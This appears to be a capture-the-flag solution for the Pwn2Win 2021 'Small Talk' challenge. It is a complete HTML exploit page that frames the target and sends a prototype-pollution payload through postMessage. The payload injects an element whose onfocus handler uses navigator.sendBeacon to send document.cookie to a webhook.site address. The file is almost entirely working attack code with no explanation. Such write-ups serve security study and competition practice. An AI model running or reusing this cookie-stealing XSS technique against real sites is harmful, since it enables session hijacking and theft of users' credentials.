Created
May 30, 2021 17:03
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Pwn2Win CTF 2021 - Small Talk
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| <body> | |
| <style> | |
| iframe { | |
| width: 300px; | |
| height: 200px; | |
| } | |
| </style> | |
| <img src="http://httpstat.us/200?sleep=100000"> | |
| <img src="https://webhook.site/...?start"> | |
| <script> | |
| function go(url) { | |
| const iframe = document.createElement('iframe'); | |
| iframe.src = url; | |
| iframe.onload = () => { | |
| iframe.contentWindow.postMessage(JSON.stringify({ | |
| 'a.__proto__.arrow': { | |
| "onfocus": "navigator.sendBeacon('https://webhook.site/...',document.cookie)", | |
| "style": "position:fixed;z-index:9;left:0;top:0;width:100px !important;height:100px !important;background:red", | |
| "contenteditable": true, | |
| "id": "hoge", | |
| "class": "fuga" | |
| }, | |
| b: 123 | |
| }), '*'); | |
| setTimeout(() => { | |
| iframe.onload = () => {}; | |
| iframe.src += '#hoge'; | |
| }, 10); | |
| }; | |
| document.body.appendChild(iframe); | |
| } | |
| for (let i = 0; i < 10; i++) { | |
| go('https://small-talk.coach:1337'); | |
| } | |
| </script> | |
| </body> |
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